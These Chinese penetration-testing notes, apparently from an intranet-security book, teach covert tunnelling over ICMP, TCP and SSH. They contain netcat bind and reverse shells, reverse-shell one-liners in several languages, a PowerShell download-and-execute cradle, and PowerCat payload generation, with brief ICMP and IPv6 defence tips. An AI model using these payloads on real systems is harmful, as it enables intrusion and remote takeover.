隐藏通信隧道技术
完成内网信息收集工作后,渗透测试人员需要判断流量是否出的去、进得来。隐藏通信隧道技术常用语在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。
0x00:from
--《内网安全攻防》
0x01:基础知识
1.概述
一般的网络通信,现在两台机器之间建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以直接发送报文;绕过不知道IP地址,就需要将域名解析为IP地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包达到目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。
常见的隧道列举:
网络层:IPv6隧道、ICMP隧道、GRE隧道。
传输层:TCP隧道、UDP隧道、常规端口转发。
应用层:SSH隧道、HTTP隧道、HTTS隧道、DNS隧道。
2.判断内网的连通性
判断内网的连通性是判断机器能否上外网。要综合判断各种协议(TCP、HTTP、DNS、ICMP)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。常见内网连通性判断方法如下:
1.ICMP协议
执行命令 ping ip/域名。
2.TCP协议
netcat(简称nc)被誉为网络安全界的“瑞士军刀”,是一个短小精悍的工具、通过使用TCP或UDP协议的网络连接工具读写数据。
使用nc工具,执行nc ip/端口命令
3.HTTP协议
curl是一个利用url规则在命令行下工作的综合文件传输工具,支持文件的上传和下载,curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。Linux操作系统自带curl命令。在Windows操作系统中,需要自主安装。
4.DNS协议
在进行DNS连通性检测时,常用的命令为nslookup的dig。
nslookup是Windows操作系统中自带的DNS探测命令,其用法如下。在没指定vps-ip时,nslookup会从系统网络的TCP/IP属性中读取DNS服务器的地址。具体的使用方法是:打开windows操作系统的命令行环境,输入“nslookup”命令,按“回车” 输入help
dig是Linux默认自带的DNS探测命令,其用法如下所示。在没有指定vps-ip时,dig回到/etc/resolv.conf文件读取系统配置的DNS服务器地址。如果vps-ip为192.168.1.1,将解析百度网的IP地址,说明DNS协议是连通的。具体用法见dig-h
0x02:网络层隧道技术
在网络层中,两个常用的隧道协议是IPv6和ICMP
1.IPv6隧道
“IPv6”是internet protocol version 6 的缩写,也被称为下一代互联网协议。它是由IETF设计用来代替现行的IPv4协议的一种新的IP协议。IPv4协议已经使用了20多年、目前面临地址匮乏等问题。而 IPv6从根本上可以解决这些问题。
1. IPv6 隧道技术
IPv6 隧道技术是指通过 IPv4隧道传送 IPv6数据报文的技术。为了在 IPv4海洋中传递 IPv6 信息,可以讲 IPv4作为隧道载体,将 IPv6报文整体封装在 IPv4数据报文中,使 IPv6 报文能够穿过 IPv4海洋,到达另一个 IPv6 小岛。
打个比方,快递公司收取包裹之后,发现自己在目的地没有站点,无法投送,则将此包裹转交给能到达目的地的快递公司(中国邮政)来投递。也就是说,将快递公司已经封装好的包裹(类似于 IPv6 报文),用中国邮政的包装箱再封装一次(类似于封装成 IPv4报文),以便于这个包裹在中国邮政系统中可以正常投递。
IPv6 隧道工作过程:
- 节点A要向节点B发送 IPv6 报文,首先需要在节点A和节点B之间建立一条隧道。
- 节点A将 IPv6 报文封装在以节点B的 IPv4地址为目的地址、以自己的 IPv4地址为源地址的 IPv4报文中,并发往 IPv4海洋。
- 在 IPv4海洋中,这个报文和普通 IPv4报文一样,经过 IPv4的转发到达节点B。
- 节点B收到此报文后,解除 IPv4封装,取出 IPv6 报文
因为现阶段的边界设备、防火墙入侵防御系统还无法识别 IPv6 的通信数据,而大多数的操作系统支持 IPv6 ,所以需要人工配置。
攻击者有时会通过恶意软件来配置允许进行 IPv6 通信的设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持 IPv6 ,也可能无法准确分析封装了 IPv6 报文的 IPv4数据包。
配置隧道和自动隧道的主要区别是:只有在执行隧道功能的节点的 IPv6 地址是 IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。
配置隧道方法则要求隧道末端节点使用其他机制来获得 IPv4地址,例如采用DHCP、人工配置或其他 IPv4的配置机制。
支持 IPv6 的隧道工具有socat、6tunnel、nt6tunnel等。
2.防御手段
现阶段直接禁用 IPv6 即可,或者通过防火墙和防御系统过滤 IPv6 通信。
2.ICMP隧道
ICMP隧道简单实用,是一个比较特殊的协议,在一般的通信协议中,如果两台设备通信,肯定要开放端口,而ICMP协议就不需要。最常见的 ICMP 消息为ping命令。攻击者可以使用 -t获得更多的 ICMP 信息。
在一些网络环境中,如果攻击者使用各类上层隧道(HTTP隧道、DNS隧道、常规正向/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立 ICMP 隧道,将TCP/UDP数据封装到 ICMP 的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包,win10除外),实现不受限制的网络访问。
常见的 ICMP 隧道工具有icmpsh、pingtunnel、icmptunnel、powershell icmp等。
1.icmph
icmph工具使用简单,属于跨平台工具,运行时不需要管理员权限 项目地址: https://github.com/inquisb/icmpsh
安装python的impacket类库,以便对TCP、UDP、ICMP、ARP、IPv4、IPV6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问。
安装impacket类库
apt-get install python-impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令关闭本地系统的ICMP应答(要恢复则设置为0),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
攻击机直接运行脚本:python icmpsh_m.py 攻击机ip 目标机ip
目标机运行icmpsh.exe,命令为:icmpsh.exe -t 攻击机ip -d 500 -b 30 -s 128
攻击机即可收到shell
2.PingTunnel
PingTunnel 也是一款常用的ICMP隧道工具,可以跨平台使用。为了避免隧道被滥用,可以为隧道设置密码。
有如下场景,一个小小内网:三台服务器,其中Windows server 2008数据库服务器进行了策略限制。web服务器无法直接访问2008数据库服务器,但是可以通过ping命令访问2008数据库服务器,目标为通过web服务器访问2008数据库服务器的3389端口,攻击者为可以访问到web服务器。
首先,在需要建立ICMP隧道的两台机器(vps和web服务器)上安装PingTunnel工具
下载地址: http://freshmeat.sourceforge.net/projects/ptunnel/
输入如下命令进行解压、配置、编译
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel/
make && make install
安装如果出现缺少pcap.h的错误,则需要安装libpcap,是数据包捕获函数库的英文缩写,用于捕捉经过指定网络端口的数据包。在Windows平台上,类似的库叫做wincap。
下载libpcap工具:http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz (这里注意给压缩包足够权限,我这里就是因为windows导入虚拟机权限出现问题导致一堆bug)
安装配置:
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
安装过程中可能会出现yacc包错误的提示,安装byacc包:
apt-get install -y byacc
然后到/libpcap下继续安装
./configure
make
sudo make install
下面介绍pingTunnel工具是使用方法
在web服务器192.168.150.148输入如下命令,运行PingTunnel工具,开启隧道。
ptunnel -x shuteer
在攻击机192.168.150.145 kali中执行如下命令
ptunnel -p 192.168.150.148 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer
- -x:指定ICMP隧道连接的验证密码
- -lp:指定要监听的本地TCP端口
- -da:指定要转发的目标机器的IP地址
- -dp:指定要转发的目标机器的TCP端口
- -p:指定ICMP隧道另一端的机器的IP地址
上述命令的含义是:在访问攻击者vps(192.168.150.145)的1080端口时,会把数据库服务器1.1.1.10的3389端口数据封装在ICMP隧道里,以web服务器192.168.150.148为ICMP隧道跳板进行传递。
也可以使用ICMP隧道访问数据库服务器192.168.150.2的22端口。
ptunnel -p 192.168.150.148 -lp 1080 -da 1.1.1.16 -dp 22 -x shuteer
在本地访问vps的22端口,发现已经与数据库服务器1.1.1.16的22端口建立了连接
PingTunnel工具也可以在windows平台使用,需要安装wincap类库。
3.防御ICMP隧道的方法
许多网络管理员会阻止ICMP通信进入站点,但是在出站方向,ICMP通信是被允许的,而且目前绝大多数网络或者边界设备不会过滤ICMP流量。使用ICMP隧道会产生大量ICMP数据包,我们可以使用wireshark进行 ICMP 数据包分析,以检测 ICMP 流量。
- 检测同一来源的 ICMP 数据包的数量。正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道很短的时间会产生上千的 ICMP 数据包
- 注意payload大于64bit的 ICMP 数据包
- 寻找响应数据包中的payload与请求数据包中的payload不一致的 ICMP 数据包
- 检查 ICMP 数据包的协议标签。例如,icmptunnel会在所有的 ICMP payload前面添加“TUNL”标记来标识隧道--这就是特征
0x03:传输层隧道技术
传输层技术包括TCP隧道、UDP隧道喝常规端口转发等。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABLES打开指定端口。如果内网存在一系列防御系统。tcp、udp流量会被大量拦截。
1.lcx端口转发
首先介绍最经典的端口转发工具lcx。lcx是一个基于socket套接字实现的端口转发工具,有Windows和Linux两个版本。windows版本为lcx.exe,linux版本为portmap。一个正常的socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接。
用法见 https://pureqh.top/?p=1821
2.netcat
之所以叫netcat,是因为它是网络上的cat。cat的功能是读取一个文件内容并输出到屏幕上,netcat的功能也是如此--从网络的一端读取数据,输出到网络的另一端(可以使用tcp和udp协议)
1.安装
在kalilinux中,可以使用“nc-help”或者“man nc”命令查看是否已经安装了nc。安装命令:
sudo yum install nc.x86_64
windows版本下载链接:https://joncraton.org/files/nc111nt.zip
2.简易使用
(1)命令查询 nc -h
- -d:后台模式
- -e:程序重定向
- -g<网关>:设置路由器越程通信网关,最多可设置8个
- -G<指向器数目>:设置源路由指向器的数量,值为4的倍数。
- -h:帮助
- -i<延迟秒数>:设置时间间隔,以便传输信息及扫描通信端口
- -l:使用监听模式,管理和控制传入的数据
- -n:直接使用IP地址(不通过域名服务器)
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源位址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
(2)Banner抓取
服务的Banner信息能够为系统管理员提供当前网络中间的系统信息和所运行服务的情况。服务的 Banner 信息不仅包含正在运行的服务类型,还包括服务的版本信息。 Banner 抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞评估。
执行如下命令,从抓取 Banner 信息可知,目前目标主机的22端口上运行了ssh服务,版本为2.0
nc -nv 192.168.150.148 22
(3)连接远程主机
执行如下命令,连接远程主机
nc -nvv 192.168.150.148 80
(4)端口扫描
执行如下命令,扫描指定主机的端口
nc -v 192.168.150.148 80
执行如下命令,扫描指定主机的某个端口段
nc -v -z 192.168.150.148 20-100
(5)端口监听
执行如下命令,监听本地端口。当访问该端口时会输出该信息到命令行
nc -l -p 4000
(6)文件传输
在本地vps主机中输入如下命令,开始监听,等待连接。一旦连接建立,数据便会流入。
nc -lp 4000 >1.txt
在目标主机中输入如下命令,与vps的4000端口建立连接,并传输一个名为test.txt的文本文件。
nc -vn 192.168.150.145 4000 <test.txt -q 1
传输完成,在vps中打开1.txt,可见数据已经传过来了。
(7)简易聊天
在本地vps主机中输入如下命令,开始监听
nc -l -p 4000
在目标主机中输入以下命令,就可以聊天了
nc -vn 192.168.150.145 4000
3.获取shell
shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端要获取服务器的shell,就称为正向shell;如果客户端连接服务器,服务器想要获取客户端shell,就称为反向shell。
反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤,端口转发等。
(1)正向shell
输入以下命令,监听主机的4000端口
nc -lvp 4000 -e /bin/sh //linux
nc -lvp 4000 -e c:\windows\system32\cmd.exe //windows
输入如下命令,在本地或者vps主机上连接目标主机的4000端口,查看当前IP地址,已经是192.168.150.145。但是当防火墙设置4000入口流量被禁止时,此时正向连接不会连接成功。
(2)反向shell
输入以下命令,在本地(192.168.150.148)或者vps主机上监听本地4000端口
nc -lvp 4000
在目标机输入如下命令,连接vps主机192.168.150.145的4000端口
nc 192.168.150.148 4000 -e /bin/sh
nc 192.168.150.148 4000 -e c:\windows\system32\cmd.exe
监听vps的4000端口
正向反向shell区别在于谁监听,一般渗透测试中常用反向shell,因为防火墙可能阻止了端口入口流量而没有阻止出口。
4.在目标主机中没有nc时获取反向shell
在一般情况下,目标主机中是没有nc的。此时,可以使用其他工具和编程语言来代替nc,实现反向连接。
(1)Python反向shell
执行如下命令,在vps监听本地4000端口。
nc -lvp 4000
在目标主机上执行如下命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.150.145",4000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
查看当前IP地址,已经是.148了
(2)Bash反向shell
执行如下命令,在vps上监听本地4000端口
nc -lvp 4000
在目标主机上执行如下命令
bash -i >& /dev/tcp/192.168.150.145/4000 0>&1
(3)PHP反向shell
同样,先监听vps本地4000端口
nc -lvp 4000
PHP常用于web服务器上,它是nc、perl和Bash的一个很好的替代品。执行如下命令,反弹shell
php -r '$sock=fsockopen("192.168.150.145",4000);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)Perl反向shell
监听:nc -lvp 4000
如果此时目标机器使用的是Perl语言,即可以使用Perl建立反向shell
perl -e 'use Socket;$i="192.168.150.145";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
(5)ruby反向shell
ruby比较少见
nc -lvp 4000
ruby -rsocket -e'f=TCPSocket.open("192.168.150.145",4000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
(6)lua版本
nc -lvp 4000
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.150.145','4000');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(7)java版本
- r = Runtime.getRuntime()
- p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.150.145/4000;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
- p.waitFor()
5.内网代理
nc同样可以将同网段主机端口转发到其他主机的端口,实现代理功能
假设kali vps IP地址为192.168.150.145 ,已经获得了linux web服务器(192.168.150.148/1.1.1.148)的权限。通过kali无法直接访问数据库服务器 1.1.1.200和域控制器1.1.1.1 这里就应用到了nc的代理流量功能。
首先我们在vps监听本机4000端口
nc -lvc 4000
然后,在linux数据库服务器1.1.1.200执行如下命令
nc -lvp 3000 -e /bin/sh
最后,在web服务器1.1.1.148执行如下命令
nc -v 192.168.150.145 -c "nc -v 1.1.1.200 3000"
回到vps中,可以看到,已经于数据库服务器建立了连接。
3.PowerCat
PowerCat可以说是nc的PowerShell版本。PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。
1.下载PowerCat
下载项目:https://github.com/besimorhino/powercat.git
输入命令"Import-Module .\powercat.ps1"
如果出现错误,可能是权限不足导致的,我们在powershell命令行输入"Set-ExecutionPolicy RemoteSigned" 输入"y"即可。
2.powercat命令操作详解
PowerCat既然是powershell版本的nc,自然可以与nc进行连接。这里命令我们用到什么说什么。
3.通过nc正向连接PowerCat
在windows10 服务器上执行监听命令" PowerCat -l -p 4000 -e cmd.exe -v" 然后在kali主机执行"netcat 192.168.150.1 4000 -vv"
-l :监听模式,用于入站连接
-p:指定监听端口
-e:指定要启动进程的名称
-v:显示详情
4.通过nc反向连接PowerCat
在kali linux执行如下命令
netcat -l -p 4000 -vv
在windows执行如下命令,-c参数用于提供想要连接的IP地址
powercat -c 192.168.150.145 -p 4000 -v -e cmd.exe
5.通过PowerCat返回PowerShell
前面介绍的操作都可以与nc进行交互。但是,如果想返回PowerShell,则无法与nc进行交互,下面介绍win7与win server 2008 R2建立正向连接。
在2008 R2中执行如下命令:
IEX (New-Object Net.webclient).downloadstring('http://10.10.10.129/powercat.ps1')
在win 7中执行如下命令,-ep参数用于返回Powershell
powercat -c 10.10.10.129 -p 9999 -v -ep
6.通过PowerCat传输文件
在windows7新建一个test.txt文件,将其放在C盘根目录下。在2008中执行如下命令:
powercat -l -p 9999 -of test.txt -v
回到win7执行如下命令
powercat -c 10.10.10.129 -p 9999 -i c:\test.txt -v
此时,即使两个文件传输完毕,链接也不会断开
-i :输入,可以写文件名,也可以直接写字符串.
-of:输出文件名,可以在文件名前添加路径。
7.用powercat生成payload
用powercat生成的payload也有正向和反向之分,且可以对其进行编码。尝试生成一个简单的payload,在win7执行如下命令
powercat -l -p 8000 -e cmd -v -g >>shell.ps1
讲生成的ps1文件上传到2008并执行,然后在windows7执行如下命令,就可以获得一个反弹shell。
powercat -c 10.10.10.129 -p 8080 -v
如果想反弹powershell,可以执行如下命令
powershell -l -p 8000 -ep -v -g >>shell.ps1
用powercat也可以直接生成经过编码的payload。在win7中执行如下命令,即可得到经过编码的payload
powercat -c 10.10.10.129 -p 9999 -ep -ge
继续在win7执行命令
powercat -l -p 9999 -v
0x04:应用层隧道技术
在内网中建立一个稳定可靠的数据通道,对渗透测试工作有很重要的意义。应用层的隧道通信技术主要利用应用软件提供的端口来发送数据。常用的隧道协议有SSH、HTTP/HTTPS和DNS。
1.SSH协议
在内网中,几乎所有的Linux/Unix服务器和网络设备都支持SSH协议。在一般情况下,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用。同时,SSH协议的传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
一个普通的SSH命令如下
ssh root@192.168.1.1
- -C:压缩传输,提高传输速度
- -f :将ssh传输转入后台执行,不占用当前的shell。
- -N:建立静默连接(建立了连接,但是看不到具体的会话)
- -g 允许远程主机连接本地用于转发的端口。
- -L:本地端口转发
- -R:远程端口转发
- -D:动态转发(socks代理)
- -P:指定ssh端口。